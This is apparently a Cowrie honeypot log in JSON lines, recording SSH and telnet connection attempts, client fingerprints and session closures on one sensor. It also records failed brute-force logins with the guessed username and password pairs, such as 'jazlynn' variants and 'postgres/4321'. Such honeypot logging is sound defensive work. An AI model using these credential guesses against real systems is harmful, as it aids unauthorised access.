{"eventid":"cowrie.session.closed","duration":34.49980974197388,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:07:19.949195Z","src_ip":"162.253.42.116","session":"243f208f5952","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":20132,"dst_ip":"10.17.0.5","dst_port":22,"session":"432e14e0f098","protocol":"ssh","message":"New connection: 213.209.159.159:20132 (10.17.0.5:22) [session: 432e14e0f098]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:07:21.743611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:07:21.748619Z","src_ip":"213.209.159.159","session":"432e14e0f098","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:07:21.831619Z","src_ip":"213.209.159.159","session":"432e14e0f098","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jazlynn","password":"jazlynn","message":"login attempt [jazlynn/jazlynn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:07:22.230827Z","src_ip":"213.209.159.159","session":"432e14e0f098","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jazlynn","password":"jazlynn1","message":"login attempt [jazlynn/jazlynn1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:07:23.314502Z","src_ip":"213.209.159.159","session":"432e14e0f098","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":40504,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f67142d89df","protocol":"telnet","message":"New connection: 162.253.42.116:40504 (10.17.0.5:23) [session: 9f67142d89df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:07:23.352594Z"}
{"eventid":"cowrie.login.failed","username":"jazlynn","password":"jazlynn123","message":"login attempt [jazlynn/jazlynn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:07:24.399210Z","src_ip":"213.209.159.159","session":"432e14e0f098","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jazlynn","password":"jazlynn1234","message":"login attempt [jazlynn/jazlynn1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:07:25.484279Z","src_ip":"213.209.159.159","session":"432e14e0f098","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jazlynn","password":"jazlynn12345","message":"login attempt [jazlynn/jazlynn12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:07:26.568924Z","src_ip":"213.209.159.159","session":"432e14e0f098","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:07:27.653033Z","src_ip":"213.209.159.159","session":"432e14e0f098","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.87945556640625,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:07:29.506023Z","src_ip":"185.26.126.47","session":"f164234f3729","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":53814,"dst_ip":"10.17.0.5","dst_port":23,"session":"31bfd9f6f439","protocol":"telnet","message":"New connection: 162.253.42.116:53814 (10.17.0.5:23) [session: 31bfd9f6f439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:07:35.709255Z"}
{"eventid":"cowrie.session.closed","duration":38.84900736808777,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:07:36.525107Z","src_ip":"185.26.126.47","session":"588b395aaa68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":34758,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a6b7bf2f63a","protocol":"telnet","message":"New connection: 162.253.42.116:34758 (10.17.0.5:23) [session: 7a6b7bf2f63a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:07:42.807469Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":40170,"dst_ip":"10.17.0.5","dst_port":23,"session":"960885c87b51","protocol":"telnet","message":"New connection: 162.253.42.116:40170 (10.17.0.5:23) [session: 960885c87b51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:07:47.443372Z"}
{"eventid":"cowrie.session.closed","duration":32.27616882324219,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:07:49.098459Z","src_ip":"162.253.42.116","session":"366a6b80f836","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":41640,"dst_ip":"159.203.135.109","dst_port":23,"session":"78858af41a4e","protocol":"telnet","message":"New connection: 185.26.126.47:41640 (159.203.135.109:23) [session: 78858af41a4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:07:49.571958Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":42560,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef5e8455ad1b","protocol":"telnet","message":"New connection: 162.253.42.116:42560 (10.17.0.5:23) [session: ef5e8455ad1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:07:49.597026Z"}
{"eventid":"cowrie.session.closed","duration":35.089149713516235,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:07:58.441632Z","src_ip":"162.253.42.116","session":"9f67142d89df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":54356,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd4c6fdfa268","protocol":"telnet","message":"New connection: 162.253.42.116:54356 (10.17.0.5:23) [session: cd4c6fdfa268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:08:01.372323Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50452,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1da188edcd6","protocol":"ssh","message":"New connection: 159.203.92.129:50452 (159.203.135.109:22) [session: a1da188edcd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:08:02.742282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:08:02.746433Z","src_ip":"159.203.92.129","session":"a1da188edcd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:08:02.750273Z","src_ip":"159.203.92.129","session":"a1da188edcd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ams","password":"123456","message":"login attempt [ams/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:08:02.762660Z","src_ip":"159.203.92.129","session":"a1da188edcd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:08:03.768693Z","src_ip":"159.203.92.129","session":"a1da188edcd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":32906,"dst_ip":"10.17.0.5","dst_port":23,"session":"484cde1f801e","protocol":"telnet","message":"New connection: 162.253.42.116:32906 (10.17.0.5:23) [session: 484cde1f801e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:08:06.528430Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":58522,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a60c92dcf54","protocol":"ssh","message":"New connection: 102.213.34.99:58522 (10.17.0.5:22) [session: 5a60c92dcf54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:08:06.789254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:08:06.795222Z","src_ip":"102.213.34.99","session":"5a60c92dcf54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:08:06.965440Z","src_ip":"102.213.34.99","session":"5a60c92dcf54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"4321","message":"login attempt [postgres/4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:08:07.678277Z","src_ip":"102.213.34.99","session":"5a60c92dcf54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.331751108169556,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:08:08.040859Z","src_ip":"162.253.42.116","session":"31bfd9f6f439","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:08:08.851020Z","src_ip":"102.213.34.99","session":"5a60c92dcf54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":36206,"dst_ip":"10.17.0.5","dst_port":23,"session":"a391591e59b5","protocol":"telnet","message":"New connection: 162.253.42.116:36206 (10.17.0.5:23) [session: a391591e59b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:08:12.518577Z"}
{"eventid":"cowrie.session.closed","duration":34.41211700439453,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:08:17.219456Z","src_ip":"162.253.42.116","session":"7a6b7bf2f63a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.8245325088501,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:08:23.421429Z","src_ip":"162.253.42.116","session":"ef5e8455ad1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.19923686981201,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:08:23.642518Z","src_ip":"162.253.42.116","session":"960885c87b51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.87495541572571,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:08:26.446635Z","src_ip":"185.26.126.47","session":"78858af41a4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00183153152466,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:08:28.352873Z","src_ip":"72.22.150.154","session":"7e49ee0ff41b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":59858,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b646eb4f6ad","protocol":"telnet","message":"New connection: 162.253.42.116:59858 (10.17.0.5:23) [session: 7b646eb4f6ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:08:31.030447Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":33856,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f877eb46f48","protocol":"telnet","message":"New connection: 162.253.42.116:33856 (10.17.0.5:23) [session: 7f877eb46f48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:08:33.053740Z"}
{"eventid":"cowrie.session.closed","duration":34.56686305999756,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:08:35.939039Z","src_ip":"162.253.42.116","session":"cd4c6fdfa268","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":37580,"dst_ip":"10.17.0.5","dst_port":23,"session":"50a098a33d78","protocol":"telnet","message":"New connection: 162.253.42.116:37580 (10.17.0.5:23) [session: 50a098a33d78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:08:36.548299Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":38782,"dst_ip":"10.17.0.5","dst_port":23,"session":"9747f9157667","protocol":"telnet","message":"New connection: 162.253.42.116:38782 (10.17.0.5:23) [session: 9747f9157667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:08:37.596902Z"}
{"eventid":"cowrie.session.closed","duration":35.63792538642883,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:08:42.166254Z","src_ip":"162.253.42.116","session":"484cde1f801e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52580,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd12b8d94676","protocol":"ssh","message":"New connection: 159.203.92.129:52580 (159.203.135.109:22) [session: cd12b8d94676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:08:47.012832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:08:47.016831Z","src_ip":"159.203.92.129","session":"cd12b8d94676","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:08:47.021078Z","src_ip":"159.203.92.129","session":"cd12b8d94676","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ams","password":"12345678","message":"login attempt [ams/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:08:47.030811Z","src_ip":"159.203.92.129","session":"cd12b8d94676","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:08:48.036861Z","src_ip":"159.203.92.129","session":"cd12b8d94676","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.13151550292969,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:08:48.650000Z","src_ip":"162.253.42.116","session":"a391591e59b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":37558,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5b84eabd445","protocol":"telnet","message":"New connection: 162.253.42.116:37558 (10.17.0.5:23) [session: c5b84eabd445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:09:03.230406Z"}
{"eventid":"cowrie.session.closed","duration":34.064902782440186,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:09:05.095190Z","src_ip":"162.253.42.116","session":"7b646eb4f6ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":58592,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4d55b4e2050","protocol":"ssh","message":"New connection: 102.213.34.99:58592 (10.17.0.5:22) [session: f4d55b4e2050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:09:06.326164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:09:06.333456Z","src_ip":"102.213.34.99","session":"f4d55b4e2050","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:09:06.505926Z","src_ip":"102.213.34.99","session":"f4d55b4e2050","protocol":"ssh"}
